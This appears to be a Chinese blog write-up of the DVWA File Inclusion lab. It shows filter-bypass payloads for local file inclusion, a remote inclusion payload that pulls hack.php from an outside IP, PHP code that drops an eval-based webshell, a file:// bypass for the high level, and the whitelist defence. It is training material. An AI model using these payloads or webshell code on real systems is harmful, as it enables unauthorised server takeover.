zoukankan      html  css  js  c++  java
  • DVWA_File Inclusion 文件包含 远程文件包含拿webshell

     

    MEDIUM:

    $file = str_replace( array( "http://", "https://" ), "", $file ); 
    $file = str_replace( array( "../", ".."" ), "", $file ); 
    

      与LOW相比,将四个敏感字符串过滤掉了:"http://", "https://","../", "..""

    本地文件包含:

    Payload1(相对路径包含):

    ?page=..............................phpStudyPHPTutorialWWWdvwaphp.ini

    原理:仔细看看可以发现,".."并没有被过滤掉(过滤掉的多了一个双引号)

    Payload2(相对路径包含):

    ?page=..././..././..././..././..././..././..././..././..././phpStudyPHPTutorialWWWdvwaphp.ini

    原理:str_replace()是非常不安全的,可是双写绕过,比如这个payload,经过str_replace()之后变成了:

    ?page=../../../../../../../../../phpStudyPHPTutorialWWWdvwaphp.ini ("../"都被替换成了空字符)

    Payload3(绝对路径包含):

    ?page=C:phpStudyPHPTutorialWWWdvwaphp.ini

    原理:并没有过滤绝对路径啊

    远程文件包含:

    Payload:?page=htthttp://p://192.168.141.1/hack.php

    原理:str_replace()可以双写绕过

    此外,在这种情况可以通过远程文件包含拿webshell,比如hack.php中可以这么写:

    <?php
    	$f = fopen('shell.php','w');
    	$txt = '<?php eval($_POST[zzz])?>';
    	fwrite($f,$txt);
    	fclose($f);
    ?>
    

      然后菜刀一连就可以,嘿嘿嘿嘿~~~

    (可惜笔者无论如何调整设置,allow_url_fopen就是打不开,我怎么办,我也很绝望啊)

    HIGH:

    核心代码:

    if( !fnmatch( "file*", $file ) && $file != "include.php" ) { 
        // This isn't the page we want! 
        echo "ERROR: File not found!"; 
        exit; 
    } 
    

    代码解读:fnmatch(pattern,string)类似于ereg()或preg_match(),用pattern指定的模式去匹配string。

    这里*是通配符,所以"file*"的意思就是必须以file开头。

    这里看似安全,其实我们可以使用php://file协议绕过

    Payload:?page=file://C:phpStudyPHPTutorialWWWdvwa

    php://file用以读取服务器本地文件,而且在allow_url_fopen和allow_url_include双off的情况下依然可以使用!

    由于php://file只能读取服务器本地文件,所以想要实现任意命令执行,需要文件上传的配合,

    将恶意文件上传到服务器之后,使用文件包含进行包含以执行之。

    IMPOSSBILE:

    核心代码:

    if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) { 
        // This isn't the page we want! 
        echo "ERROR: File not found!"; 
        exit; 
    } 
    

      可以看到,进行了白名单限制,无法攻破

    鸣谢:

    http://www.storysec.com/dvwa-file-inclusion.html

    https://www.freebuf.com/articles/web/119150.html

  • 相关阅读:
    h5-canvas-渐变
    sublime text 3 无法安装Package Control插件解决办法
    ps;top;free;grep
    lambda
    服务注册与发现eureka
    https证书错误导致maven无法访问仓库出错
    Docker认识和安装
    spring项目发布到linux上遇到的错
    spring aop api
    spring事务
  • 原文地址:https://www.cnblogs.com/huangming-zzz/p/9898422.html
Copyright © 2011-2022 走看看